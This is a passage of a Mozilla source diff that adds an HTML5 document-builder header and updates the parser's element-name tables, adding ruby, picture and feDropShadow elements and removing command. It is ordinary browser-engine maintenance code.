+
+#include "nsContentSink.h"
+#include "nsHtml5DocumentMode.h"
+#include "nsIDocument.h"
+#include "nsIContent.h"
+
+typedef nsIContent* nsIContentPtr;
+
+enum eHtml5FlushState {
+ eNotFlushing = 0, // not flushing
+ eInFlush = 1, // the Flush() method is on the call stack
+ eInDocUpdate = 2, // inside an update batch on the document
+ eNotifying = 3 // flushing pending append notifications
+};
+
+class nsHtml5DocumentBuilder : public nsContentSink
+{
+public:
+ NS_DECL_CYCLE_COLLECTION_CLASS_INHERITED(nsHtml5DocumentBuilder,
+ nsContentSink)
+
+ NS_DECL_ISUPPORTS_INHERITED
+
+ inline void HoldElement(already_AddRefed<nsIContent> aContent)
+ {
+ *(mOwnedElements.AppendElement()) = aContent;
+ }
+
+ nsresult Init(nsIDocument* aDoc, nsIURI* aURI,
+ nsISupports* aContainer, nsIChannel* aChannel);
+
+ // Getters and setters for fields from nsContentSink
+ nsIDocument* GetDocument()
+ {
+ return mDocument;
+ }
+
+ nsNodeInfoManager* GetNodeInfoManager()
+ {
+ return mNodeInfoManager;
+ }
+
+ /**
+ * Marks this parser as broken and tells the stream parser (if any) to
+ * terminate.
+ *
+ * @return aReason for convenience
+ */
+ virtual nsresult MarkAsBroken(nsresult aReason);
+
+ /**
+ * Checks if this parser is broken. Returns a non-NS_OK (i.e. non-0)
+ * value if broken.
+ */
+ inline nsresult IsBroken()
+ {
+ return mBroken;
+ }
+
+ inline void BeginDocUpdate()
+ {
+ NS_PRECONDITION(mFlushState == eInFlush, "Tried to double-open update.");
+ NS_PRECONDITION(mParser, "Started update without parser.");
+ mFlushState = eInDocUpdate;
+ mDocument->BeginUpdate(UPDATE_CONTENT_MODEL);
+ }
+
+ inline void EndDocUpdate()
+ {
+ NS_PRECONDITION(mFlushState != eNotifying, "mFlushState out of sync");
+ if (mFlushState == eInDocUpdate) {
+ mFlushState = eInFlush;
+ mDocument->EndUpdate(UPDATE_CONTENT_MODEL);
+ }
+ }
+
+ bool IsInDocUpdate()
+ {
+ return mFlushState == eInDocUpdate;
+ }
+
+ void SetDocumentCharsetAndSource(nsACString& aCharset, int32_t aCharsetSource);
+
+ /**
+ * Sets up style sheet load / parse
+ */
+ void UpdateStyleSheet(nsIContent* aElement);
+
+ void SetDocumentMode(nsHtml5DocumentMode m);
+
+ void SetNodeInfoManager(nsNodeInfoManager* aManager)
+ {
+ mNodeInfoManager = aManager;
+ }
+
+ // nsContentSink methods
+ virtual void UpdateChildCounts() override;
+ virtual nsresult FlushTags() override;
+
+protected:
+
+ explicit nsHtml5DocumentBuilder(bool aRunsToCompletion);
+ virtual ~nsHtml5DocumentBuilder();
+
+protected:
+ nsAutoTArray<nsCOMPtr<nsIContent>, 32> mOwnedElements;
+ /**
+ * Non-NS_OK if this parser should refuse to process any more input.
+ * For example, the parser needs to be marked as broken if it drops some
+ * input due to a memory allocation failure. In such a case, the whole
+ * parser needs to be marked as broken, because some input has been lost
+ * and parsing more input could lead to a DOM where pieces of HTML source
+ * that weren't supposed to become scripts become scripts.
+ *
+ * Since NS_OK is actually 0, zeroing operator new takes care of
+ * initializing this.
+ */
+ nsresult mBroken;
+ eHtml5FlushState mFlushState;
+};
+
+#endif // nsHtml5DocumentBuilder_h
diff --git a/parser/html/nsHtml5DocumentMode.h b/parser/html/nsHtml5DocumentMode.h
index cbfc2f511..b6acee5c9 100644
--- a/parser/html/nsHtml5DocumentMode.h
+++ b/parser/html/nsHtml5DocumentMode.h
@@ -2,8 +2,8 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#ifndef nsHtml5DocumentMode_h__
-#define nsHtml5DocumentMode_h__
+#ifndef nsHtml5DocumentMode_h
+#define nsHtml5DocumentMode_h
enum nsHtml5DocumentMode {
STANDARDS_MODE,
@@ -11,4 +11,4 @@ enum nsHtml5DocumentMode {
QUIRKS_MODE
};
-#endif // nsHtml5DocumentMode_h__
+#endif // nsHtml5DocumentMode_h
diff --git a/parser/html/nsHtml5ElementName.cpp b/parser/html/nsHtml5ElementName.cpp
index d16cee7e6..bc3970526 100644
--- a/parser/html/nsHtml5ElementName.cpp
+++ b/parser/html/nsHtml5ElementName.cpp
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2008-2011 Mozilla Foundation
+ * Copyright (c) 2008-2014 Mozilla Foundation
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
@@ -30,7 +30,7 @@
#include "nsIAtom.h"
#include "nsHtml5AtomTable.h"
#include "nsString.h"
-#include "nsINameSpaceManager.h"
+#include "nsNameSpaceManager.h"
#include "nsIContent.h"
#include "nsTraceRefcnt.h"
#include "jArray.h"
@@ -40,6 +40,7 @@
#include "nsHtml5ByteReadable.h"
#include "nsIUnicodeDecoder.h"
#include "nsHtml5Macros.h"
+#include "nsIContentHandle.h"
#include "nsHtml5Tokenizer.h"
#include "nsHtml5TreeBuilder.h"
@@ -68,7 +69,7 @@ nsHtml5ElementName::isCustom()
}
nsHtml5ElementName*
-nsHtml5ElementName::elementNameByBuffer(PRUnichar* buf, int32_t offset, int32_t length, nsHtml5AtomTable* interner)
+nsHtml5ElementName::elementNameByBuffer(char16_t* buf, int32_t offset, int32_t length, nsHtml5AtomTable* interner)
{
int32_t hash = nsHtml5ElementName::bufToHash(buf, length);
int32_t index = nsHtml5ElementName::ELEMENT_HASHES.binarySearch(hash);
@@ -85,7 +86,7 @@ nsHtml5ElementName::elementNameByBuffer(PRUnichar* buf, int32_t offset, int32_t
}
int32_t
-nsHtml5ElementName::bufToHash(PRUnichar* buf, int32_t len)
+nsHtml5ElementName::bufToHash(char16_t* buf, int32_t len)
{
int32_t hash = len;
hash <<= 5;
@@ -170,6 +171,7 @@ nsHtml5ElementName* nsHtml5ElementName::ELT_MS = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_OL = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_OR = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_PI = nullptr;
+nsHtml5ElementName* nsHtml5ElementName::ELT_RB = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_RP = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_RT = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_TD = nullptr;
@@ -209,6 +211,7 @@ nsHtml5ElementName* nsHtml5ElementName::ELT_NEQ = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_NOT = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_NAV = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_PRE = nullptr;
+nsHtml5ElementName* nsHtml5ElementName::ELT_RTC = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_REM = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_SUB = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_SEC = nullptr;
@@ -384,7 +387,6 @@ nsHtml5ElementName* nsHtml5ElementName::ELT_ARCCOTH = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_ACRONYM = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_ADDRESS = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_BGSOUND = nullptr;
-nsHtml5ElementName* nsHtml5ElementName::ELT_COMMAND = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_COMPOSE = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_CEILING = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_CSYMBOL = nullptr;
@@ -415,6 +417,7 @@ nsHtml5ElementName* nsHtml5ElementName::ELT_MSUBSUP = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_NOEMBED = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_POLYGON = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_PATTERN = nullptr;
+nsHtml5ElementName* nsHtml5ElementName::ELT_PICTURE = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_PRODUCT = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_SETDIFF = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_SECTION = nullptr;
@@ -499,6 +502,7 @@ nsHtml5ElementName* nsHtml5ElementName::ELT_DATATEMPLATE = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_EXPONENTIALE = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_FETURBULENCE = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_FEPOINTLIGHT = nullptr;
+nsHtml5ElementName* nsHtml5ElementName::ELT_FEDROPSHADOW = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_FEMORPHOLOGY = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_OUTERPRODUCT = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_ANIMATEMOTION = nullptr;
@@ -529,7 +533,7 @@ nsHtml5ElementName* nsHtml5ElementName::ELT_FESPECULARLIGHTING = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_DOMAINOFAPPLICATION = nullptr;
nsHtml5ElementName* nsHtml5ElementName::ELT_FECOMPONENTTRANSFER = nullptr;
nsHtml5ElementName** nsHtml5ElementName::ELEMENT_NAMES = 0;
-static int32_t const ELEMENT_HASHES_DATA[] = { 1057, 1090, 1255, 1321, 1552, 1585, 1651, 1717, 68162, 68899, 69059, 69764, 70020, 70276, 71077, 71205, 72134, 72232, 72264, 72296, 72328, 72360, 72392, 73351, 74312, 75209, 78124, 78284, 78476, 79149, 79309, 79341, 79469, 81295, 81487, 82224, 84498, 84626, 86164, 86292, 86612, 86676, 87445, 3183041, 3186241, 3198017, 3218722, 3226754, 3247715, 3256803, 3263971, 3264995, 3289252, 3291332, 3295524, 3299620, 3326725, 3379303, 3392679, 3448233, 3460553, 3461577, 3510347, 3546604, 3552364, 3556524, 3576461, 3586349, 3588141, 3590797, 3596333, 3622062, 3625454, 3627054, 3675728, 3749042, 3771059, 3771571, 3776211, 3782323, 3782963, 3784883, 3785395, 3788979, 3815476, 3839605, 3885110, 3917911, 3948984, 3951096, 135304769, 135858241, 136498210, 136906434, 137138658, 137512995, 137531875, 137548067, 137629283, 137645539, 137646563, 137775779, 138529956, 138615076, 139040932, 140954086, 141179366, 141690439, 142738600, 143013512, 146979116, 147175724, 147475756, 147902637, 147936877, 148017645, 148131885, 148228141, 148229165, 148309165, 148317229, 148395629, 148551853, 148618829, 149076462, 149490158, 149572782, 151277616, 151639440, 153268914, 153486514, 153563314, 153750706, 153763314, 153914034, 154406067, 154417459, 154600979, 154678323, 154680979, 154866835, 155366708, 155375188, 155391572, 155465780, 155869364, 158045494, 168988979, 169321621, 169652752, 173151309, 174240818, 174247297, 174669292, 175391532, 176638123, 177380397, 177879204, 177886734, 180753473, 181020073, 181503558, 181686320, 181999237, 181999311, 182048201, 182074866, 182078003, 182083764, 182920847, 184716457, 184976961, 185145071, 187281445, 187872052, 188100653, 188875944, 188919873, 188920457, 189107250, 189203987, 189371817, 189414886, 189567458, 190266670, 191318187, 191337609, 202479203, 202493027, 202835587, 202843747, 203013219, 203036048, 203045987, 203177552, 203898516, 204648562, 205067918, 205078130, 205096654, 205689142, 205690439, 205988909, 207213161, 207794484, 207800999, 208023602, 208213644, 208213647, 210261490, 210310273, 210940978, 213325049, 213946445, 214055079, 215125040, 215134273, 215135028, 215237420, 215418148, 215553166, 215553394, 215563858, 215627949, 215754324, 217529652, 217713834, 217732628, 218731945, 221417045, 221424946, 221493746, 221515401, 221658189, 221908140, 221910626, 221921586, 222659762, 225001091, 236105833, 236113965, 236194995, 236195427, 236206132, 236206387, 236211683, 236212707, 236381647, 236571826, 237124271, 238172205, 238210544, 238270764, 238435405, 238501172, 239224867, 239257644, 239710497, 240307721, 241208789, 241241557, 241318060, 241319404, 241343533, 241344069, 241405397, 241765845, 243864964, 244502085, 244946220, 245109902, 247647266, 247707956, 248648814, 248648836, 248682161, 248986932, 249058914, 249697357, 252132601, 252135604, 252317348, 255007012, 255278388, 255641645, 256365156, 257566121, 269763372, 271202790, 271863856, 272049197, 272127474, 274339449, 274939471, 275388004, 275388005, 275388006, 275977800, 278267602, 278513831, 278712622, 281613765, 281683369, 282120228, 282250732, 282498697, 282508942, 283743649, 283787570, 284710386, 285391148, 285478533, 285854898, 285873762, 286931113, 288964227, 289445441, 289591340, 289689648, 291671489, 303512884, 305319975, 305610036, 305764101, 308448294, 308675890, 312085683, 312264750, 315032867, 316391000, 317331042, 317902135, 318950711, 319447220, 321499182, 322538804, 323145200, 337067316, 337826293, 339905989, 340833697, 341457068, 342310196, 345302593, 349554733, 349771471, 349786245, 350819405, 356072847, 370349192, 373962798, 375558638, 375574835, 376053993, 383276530, 383373833, 383407586, 384439906, 386079012, 404133513, 404307343, 407031852, 408072233, 409112005, 409608425, 409771500, 419040932, 437730612, 439529766, 442616365, 442813037, 443157674, 443295316, 450118444, 450482697, 456789668, 459935396, 471217869, 474073645, 476230702, 476665218, 476717289, 483014825, 485083298, 489306281, 538364390, 540675748, 543819186, 543958612, 576960820, 577242548, 610515252, 642202932, 644420819 };
+static int32_t const ELEMENT_HASHES_DATA[] = { 1057, 1090, 1255, 1321, 1552, 1585, 1651, 1717, 68162, 68899, 69059, 69764, 70020, 70276, 71077, 71205, 72134, 72232, 72264, 72296, 72328, 72360, 72392, 73351, 74312, 75209, 78124, 78284, 78476, 79149, 79309, 79341, 79469, 81295, 81487, 82224, 84050, 84498, 84626, 86164, 86292, 86612, 86676, 87445, 3183041, 3186241, 3198017, 3218722, 3226754, 3247715, 3256803, 3263971, 3264995, 3289252, 3291332, 3295524, 3299620, 3326725, 3379303, 3392679, 3448233, 3460553, 3461577, 3510347, 3546604, 3552364, 3556524, 3576461, 3586349, 3588141, 3590797, 3596333, 3622062, 3625454, 3627054, 3675728, 3739282, 3749042, 3771059, 3771571, 3776211, 3782323, 3782963, 3784883, 3785395, 3788979, 3815476, 3839605, 3885110, 3917911, 3948984, 3951096, 135304769, 135858241, 136498210, 136906434, 137138658, 137512995, 137531875, 137548067, 137629283, 137645539, 137646563, 137775779, 138529956, 138615076, 139040932, 140954086, 141179366, 141690439, 142738600, 143013512, 146979116, 147175724, 147475756, 147902637, 147936877, 148017645, 148131885, 148228141, 148229165, 148309165, 148317229, 148395629, 148551853, 148618829, 149076462, 149490158, 149572782, 151277616, 151639440, 153268914, 153486514, 153563314, 153750706, 153763314, 153914034, 154406067, 154417459, 154600979, 154678323, 154680979, 154866835, 155366708, 155375188, 155391572, 155465780, 155869364, 158045494, 168988979, 169321621, 169652752, 173151309, 174240818, 174247297, 174669292, 175391532, 176638123, 177380397, 177879204, 177886734, 180753473, 181020073, 181503558, 181686320, 181999237, 181999311, 182048201, 182074866, 182078003, 182083764, 182920847, 184716457, 184976961, 185145071, 187281445, 187872052, 188100653, 188875944, 188919873, 188920457, 189107250, 189203987, 189371817, 189414886, 189567458, 190266670, 191318187, 191337609, 202479203, 202493027, 202835587, 202843747, 203013219, 203036048, 203045987, 203177552, 203898516, 204648562, 205067918, 205078130, 205096654, 205689142, 205690439, 205988909, 207213161, 207794484, 207800999, 208023602, 208213644, 208213647, 210261490, 210310273, 210940978, 213325049, 213946445, 214055079, 215125040, 215134273, 215135028, 215237420, 215418148, 215553166, 215553394, 215563858, 215627949, 215754324, 217529652, 217713834, 217732628, 218731945, 221417045, 221424946, 221493746, 221515401, 221658189, 221908140, 221910626, 221921586, 222659762, 225001091, 236105833, 236113965, 236194995, 236195427, 236206132, 236206387, 236211683, 236212707, 236381647, 236571826, 237124271, 238210544, 238270764, 238435405, 238501172, 239224867, 239257644, 239710497, 240307721, 241208789, 241241557, 241318060, 241319404, 241343533, 241344069, 241405397, 241765845, 243864964, 244502085, 244946220, 245109902, 247647266, 247707956, 248648814, 248648836, 248682161, 248986932, 249058914, 249697357, 252132601, 252135604, 251841204, 252317348, 255007012, 255278388, 255641645, 256365156, 257566121, 269763372, 271202790, 271863856, 272049197, 272127474, 274339449, 274939471, 275388004, 275388005, 275388006, 275977800, 278267602, 278513831, 278712622, 281613765, 281683369, 282120228, 282250732, 282498697, 282508942, 283743649, 283787570, 284710386, 285391148, 285478533, 285854898, 285873762, 286931113, 288964227, 289445441, 289591340, 289689648, 291671489, 303512884, 305319975, 305610036, 305764101, 308448294, 308675890, 312085683, 312264750, 315032867, 316391000, 317331042, 317902135, 318950711, 319447220, 321499182, 322538804, 323145200, 337067316, 337826293, 339905989, 340833697, 341457068, 342310196, 345302593, 349554733, 349771471, 349786245, 350819405, 356072847, 370349192, 373962798, 375558638, 375574835, 376053993, 383276530, 383373833, 383407586, 384439906, 386079012, 404133513, 404307343, 407031852, 408072233, 409112005, 409608425, 409713793, 409771500, 419040932, 437730612, 439529766, 442616365, 442813037, 443157674, 443295316, 450118444, 450482697, 456789668, 459935396, 471217869, 474073645, 476230702, 476665218, 476717289, 483014825, 485083298, 489306281, 538364390, 540675748, 543819186, 543958612, 576960820, 577242548, 610515252, 642202932, 644420819 };
staticJArray<int32_t,int32_t> nsHtml5ElementName::ELEMENT_HASHES = { ELEMENT_HASHES_DATA, MOZ_ARRAY_LENGTH(ELEMENT_HASHES_DATA) };
void
nsHtml5ElementName::initializeStatics()
@@ -571,6 +575,7 @@ nsHtml5ElementName::initializeStatics()
ELT_OL = new nsHtml5ElementName(nsHtml5Atoms::ol, nsHtml5Atoms::ol, NS_HTML5TREE_BUILDER_UL_OR_OL_OR_DL | NS_HTML5ELEMENT_NAME_SPECIAL);
ELT_OR = new nsHtml5ElementName(nsHtml5Atoms::or_, nsHtml5Atoms::or_, NS_HTML5TREE_BUILDER_OTHER);
ELT_PI = new nsHtml5ElementName(nsHtml5Atoms::pi, nsHtml5Atoms::pi, NS_HTML5TREE_BUILDER_OTHER);
+ ELT_RB = new nsHtml5ElementName(nsHtml5Atoms::rb, nsHtml5Atoms::rb, NS_HTML5TREE_BUILDER_RB_OR_RTC | NS_HTML5ELEMENT_NAME_OPTIONAL_END_TAG);
ELT_RP = new nsHtml5ElementName(nsHtml5Atoms::rp, nsHtml5Atoms::rp, NS_HTML5TREE_BUILDER_RT_OR_RP | NS_HTML5ELEMENT_NAME_OPTIONAL_END_TAG);
ELT_RT = new nsHtml5ElementName(nsHtml5Atoms::rt, nsHtml5Atoms::rt, NS_HTML5TREE_BUILDER_RT_OR_RP | NS_HTML5ELEMENT_NAME_OPTIONAL_END_TAG);
ELT_TD = new nsHtml5ElementName(nsHtml5Atoms::td, nsHtml5Atoms::td, NS_HTML5TREE_BUILDER_TD_OR_TH | NS_HTML5ELEMENT_NAME_SPECIAL | NS_HTML5ELEMENT_NAME_SCOPING | NS_HTML5ELEMENT_NAME_OPTIONAL_END_TAG);
@@ -610,6 +615,7 @@ nsHtml5ElementName::initializeStatics()
ELT_NOT = new nsHtml5ElementName(nsHtml5Atoms::not_, nsHtml5Atoms::not_, NS_HTML5TREE_BUILDER_OTHER);
ELT_NAV = new nsHtml5ElementName(nsHtml5Atoms::nav, nsHtml5Atoms::nav, NS_HTML5TREE_BUILDER_ADDRESS_OR_ARTICLE_OR_ASIDE_OR_DETAILS_OR_DIR_OR_FIGCAPTION_OR_FIGURE_OR_FOOTER_OR_HEADER_OR_HGROUP_OR_MAIN_OR_NAV_OR_SECTION_OR_SUMMARY | NS_HTML5ELEMENT_NAME_SPECIAL);
ELT_PRE = new nsHtml5ElementName(nsHtml5Atoms::pre, nsHtml5Atoms::pre, NS_HTML5TREE_BUILDER_PRE_OR_LISTING | NS_HTML5ELEMENT_NAME_SPECIAL);
+ ELT_RTC = new nsHtml5ElementName(nsHtml5Atoms::rtc, nsHtml5Atoms::rtc, NS_HTML5TREE_BUILDER_RB_OR_RTC | NS_HTML5ELEMENT_NAME_OPTIONAL_END_TAG);
ELT_REM = new nsHtml5ElementName(nsHtml5Atoms::rem, nsHtml5Atoms::rem, NS_HTML5TREE_BUILDER_OTHER);
ELT_SUB = new nsHtml5ElementName(nsHtml5Atoms::sub, nsHtml5Atoms::sub, NS_HTML5TREE_BUILDER_RUBY_OR_SPAN_OR_SUB_OR_SUP_OR_VAR);
ELT_SEC = new nsHtml5ElementName(nsHtml5Atoms::sec, nsHtml5Atoms::sec, NS_HTML5TREE_BUILDER_OTHER);
@@ -785,7 +791,6 @@ nsHtml5ElementName::initializeStatics()
ELT_ACRONYM = new nsHtml5ElementName(nsHtml5Atoms::acronym, nsHtml5Atoms::acronym, NS_HTML5TREE_BUILDER_OTHER);
ELT_ADDRESS = new nsHtml5ElementName(nsHtml5Atoms::address, nsHtml5Atoms::address, NS_HTML5TREE_BUILDER_ADDRESS_OR_ARTICLE_OR_ASIDE_OR_DETAILS_OR_DIR_OR_FIGCAPTION_OR_FIGURE_OR_FOOTER_OR_HEADER_OR_HGROUP_OR_MAIN_OR_NAV_OR_SECTION_OR_SUMMARY | NS_HTML5ELEMENT_NAME_SPECIAL);
ELT_BGSOUND = new nsHtml5ElementName(nsHtml5Atoms::bgsound, nsHtml5Atoms::bgsound, NS_HTML5TREE_BUILDER_LINK_OR_BASEFONT_OR_BGSOUND | NS_HTML5ELEMENT_NAME_SPECIAL);
- ELT_COMMAND = new nsHtml5ElementName(nsHtml5Atoms::command, nsHtml5Atoms::command, NS_HTML5TREE_BUILDER_COMMAND | NS_HTML5ELEMENT_NAME_SPECIAL);
ELT_COMPOSE = new nsHtml5ElementName(nsHtml5Atoms::compose, nsHtml5Atoms::compose, NS_HTML5TREE_BUILDER_OTHER);
ELT_CEILING = new nsHtml5ElementName(nsHtml5Atoms::ceiling, nsHtml5Atoms::ceiling, NS_HTML5TREE_BUILDER_OTHER);
ELT_CSYMBOL = new nsHtml5ElementName(nsHtml5Atoms::csymbol, nsHtml5Atoms::csymbol, NS_HTML5TREE_BUILDER_OTHER);
@@ -816,6 +821,7 @@ nsHtml5ElementName::initializeStatics()
ELT_NOEMBED = new nsHtml5ElementName(nsHtml5Atoms::noembed, nsHtml5Atoms::noembed, NS_HTML5TREE_BUILDER_NOEMBED | NS_HTML5ELEMENT_NAME_SPECIAL);
ELT_POLYGON = new nsHtml5ElementName(nsHtml5Atoms::polygon, nsHtml5Atoms::polygon, NS_HTML5TREE_BUILDER_OTHER);
ELT_PATTERN = new nsHtml5ElementName(nsHtml5Atoms::pattern, nsHtml5Atoms::pattern, NS_HTML5TREE_BUILDER_OTHER);
+ ELT_PICTURE = new nsHtml5ElementName(nsHtml5Atoms::picture, nsHtml5Atoms::picture, NS_HTML5TREE_BUILDER_OTHER);
ELT_PRODUCT = new nsHtml5ElementName(nsHtml5Atoms::product, nsHtml5Atoms::product, NS_HTML5TREE_BUILDER_OTHER);
ELT_SETDIFF = new nsHtml5ElementName(nsHtml5Atoms::setdiff, nsHtml5Atoms::setdiff, NS_HTML5TREE_BUILDER_OTHER);
ELT_SECTION = new nsHtml5ElementName(nsHtml5Atoms::section, nsHtml5Atoms::section, NS_HTML5TREE_BUILDER_ADDRESS_OR_ARTICLE_OR_ASIDE_OR_DETAILS_OR_DIR_OR_FIGCAPTION_OR_FIGURE_OR_FOOTER_OR_HEADER_OR_HGROUP_OR_MAIN_OR_NAV_OR_SECTION_OR_SUMMARY | NS_HTML5ELEMENT_NAME_SPECIAL);
@@ -852,7 +858,7 @@ nsHtml5ElementName::initializeStatics()
ELT_QUOTIENT = new nsHtml5ElementName(nsHtml5Atoms::quotient, nsHtml5Atoms::quotient, NS_HTML5TREE_BUILDER_OTHER);
ELT_SELECTOR = new nsHtml5ElementName(nsHtml5Atoms::selector, nsHtml5Atoms::selector, NS_HTML5TREE_BUILDER_OTHER);
ELT_TEXTAREA = new nsHtml5ElementName(nsHtml5Atoms::textarea, nsHtml5Atoms::textarea, NS_HTML5TREE_BUILDER_TEXTAREA | NS_HTML5ELEMENT_NAME_SPECIAL);
- ELT_TEMPLATE = new nsHtml5ElementName(nsHtml5Atoms::template_, nsHtml5Atoms::template_, NS_HTML5TREE_BUILDER_TEMPLATE | NS_HTML5ELEMENT_NAME_SPECIAL);
+ ELT_TEMPLATE = new nsHtml5ElementName(nsHtml5Atoms::template_, nsHtml5Atoms::template_, NS_HTML5TREE_BUILDER_TEMPLATE | NS_HTML5ELEMENT_NAME_SPECIAL | NS_HTML5ELEMENT_NAME_SCOPING);
ELT_TEXTPATH = new nsHtml5ElementName(nsHtml5Atoms::textpath, nsHtml5Atoms::textPath, NS_HTML5TREE_BUILDER_OTHER);
ELT_VARIANCE = new nsHtml5ElementName(nsHtml5Atoms::variance, nsHtml5Atoms::variance, NS_HTML5TREE_BUILDER_OTHER);
ELT_ANIMATION = new nsHtml5ElementName(nsHtml5Atoms::animation, nsHtml5Atoms::animation, NS_HTML5TREE_BUILDER_OTHER);
@@ -900,6 +906,7 @@ nsHtml5ElementName::initializeStatics()
ELT_EXPONENTIALE = new nsHtml5ElementName(nsHtml5Atoms::exponentiale, nsHtml5Atoms::exponentiale, NS_HTML5TREE_BUILDER_OTHER);
ELT_FETURBULENCE = new nsHtml5ElementName(nsHtml5Atoms::feturbulence, nsHtml5Atoms::feTurbulence, NS_HTML5TREE_BUILDER_OTHER);
ELT_FEPOINTLIGHT = new nsHtml5ElementName(nsHtml5Atoms::fepointlight, nsHtml5Atoms::fePointLight, NS_HTML5TREE_BUILDER_OTHER);
+ ELT_FEDROPSHADOW = new nsHtml5ElementName(nsHtml5Atoms::fedropshadow, nsHtml5Atoms::feDropShadow, NS_HTML5TREE_BUILDER_OTHER);
ELT_FEMORPHOLOGY = new nsHtml5ElementName(nsHtml5Atoms::femorphology, nsHtml5Atoms::feMorphology, NS_HTML5TREE_BUILDER_OTHER);
ELT_OUTERPRODUCT = new nsHtml5ElementName(nsHtml5Atoms::outerproduct, nsHtml5Atoms::outerproduct, NS_HTML5TREE_BUILDER_OTHER);
ELT_ANIMATEMOTION = new nsHtml5ElementName(nsHtml5Atoms::animatemotion, nsHtml5Atoms::animateMotion, NS_HTML5TREE_BUILDER_OTHER);
@@ -929,7 +936,7 @@ nsHtml5ElementName::initializeStatics()
ELT_FESPECULARLIGHTING = new nsHtml5ElementName(nsHtml5Atoms::fespecularlighting, nsHtml5Atoms::feSpecularLighting, NS_HTML5TREE_BUILDER_OTHER);
ELT_DOMAINOFAPPLICATION = new nsHtml5ElementName(nsHtml5Atoms::domainofapplication, nsHtml5Atoms::domainofapplication, NS_HTML5TREE_BUILDER_OTHER);
ELT_FECOMPONENTTRANSFER = new nsHtml5ElementName(nsHtml5Atoms::fecomponenttransfer, nsHtml5Atoms::feComponentTransfer, NS_HTML5TREE_BUILDER_OTHER);
- ELEMENT_NAMES = new nsHtml5ElementName*[394];
+ ELEMENT_NAMES = new nsHtml5ElementName*[397];
ELEMENT_NAMES[0] = ELT_A;
ELEMENT_NAMES[1] = ELT_B;
ELEMENT_NAMES[2] = ELT_G;
@@ -966,364 +973,367 @@ nsHtml5ElementName::initializeStatics()
ELEMENT_NAMES[33] = ELT_OL;
ELEMENT_NAMES[34] = ELT_OR;
ELEMENT_NAMES[35] = ELT_PI;
- ELEMENT_NAMES[36] = ELT_RP;
- ELEMENT_NAMES[37] = ELT_RT;
- ELEMENT_NAMES[38] = ELT_TD;
- ELEMENT_NAMES[39] = ELT_TH;
- ELEMENT_NAMES[40] = ELT_TR;
- ELEMENT_NAMES[41] = ELT_TT;
- ELEMENT_NAMES[42] = ELT_UL;
- ELEMENT_NAMES[43] = ELT_AND;
- ELEMENT_NAMES[44] = ELT_ARG;
- ELEMENT_NAMES[45] = ELT_ABS;
- ELEMENT_NAMES[46] = ELT_BIG;
- ELEMENT_NAMES[47] = ELT_BDO;
- ELEMENT_NAMES[48] = ELT_CSC;
- ELEMENT_NAMES[49] = ELT_COL;
- ELEMENT_NAMES[50] = ELT_COS;
- ELEMENT_NAMES[51] = ELT_COT;
- ELEMENT_NAMES[52] = ELT_DEL;
- ELEMENT_NAMES[53] = ELT_DFN;
- ELEMENT_NAMES[54] = ELT_DIR;
- ELEMENT_NAMES[55] = ELT_DIV;
- ELEMENT_NAMES[56] = ELT_EXP;
- ELEMENT_NAMES[57] = ELT_GCD;
- ELEMENT_NAMES[58] = ELT_GEQ;
- ELEMENT_NAMES[59] = ELT_IMG;
- ELEMENT_NAMES[60] = ELT_INS;
- ELEMENT_NAMES[61] = ELT_INT;
- ELEMENT_NAMES[62] = ELT_KBD;
- ELEMENT_NAMES[63] = ELT_LOG;
- ELEMENT_NAMES[64] = ELT_LCM;
- ELEMENT_NAMES[65] = ELT_LEQ;
- ELEMENT_NAMES[66] = ELT_MTD;
- ELEMENT_NAMES[67] = ELT_MIN;
- ELEMENT_NAMES[68] = ELT_MAP;
- ELEMENT_NAMES[69] = ELT_MTR;
- ELEMENT_NAMES[70] = ELT_MAX;
- ELEMENT_NAMES[71] = ELT_NEQ;
- ELEMENT_NAMES[72] = ELT_NOT;
- ELEMENT_NAMES[73] = ELT_NAV;
- ELEMENT_NAMES[74] = ELT_PRE;
- ELEMENT_NAMES[75] = ELT_REM;
- ELEMENT_NAMES[76] = ELT_SUB;
- ELEMENT_NAMES[77] = ELT_SEC;
- ELEMENT_NAMES[78] = ELT_SVG;
- ELEMENT_NAMES[79] = ELT_SUM;
- ELEMENT_NAMES[80] = ELT_SIN;
- ELEMENT_NAMES[81] = ELT_SEP;
- ELEMENT_NAMES[82] = ELT_SUP;
- ELEMENT_NAMES[83] = ELT_SET;
- ELEMENT_NAMES[84] = ELT_TAN;
- ELEMENT_NAMES[85] = ELT_USE;
- ELEMENT_NAMES[86] = ELT_VAR;
- ELEMENT_NAMES[87] = ELT_WBR;
- ELEMENT_NAMES[88] = ELT_XMP;
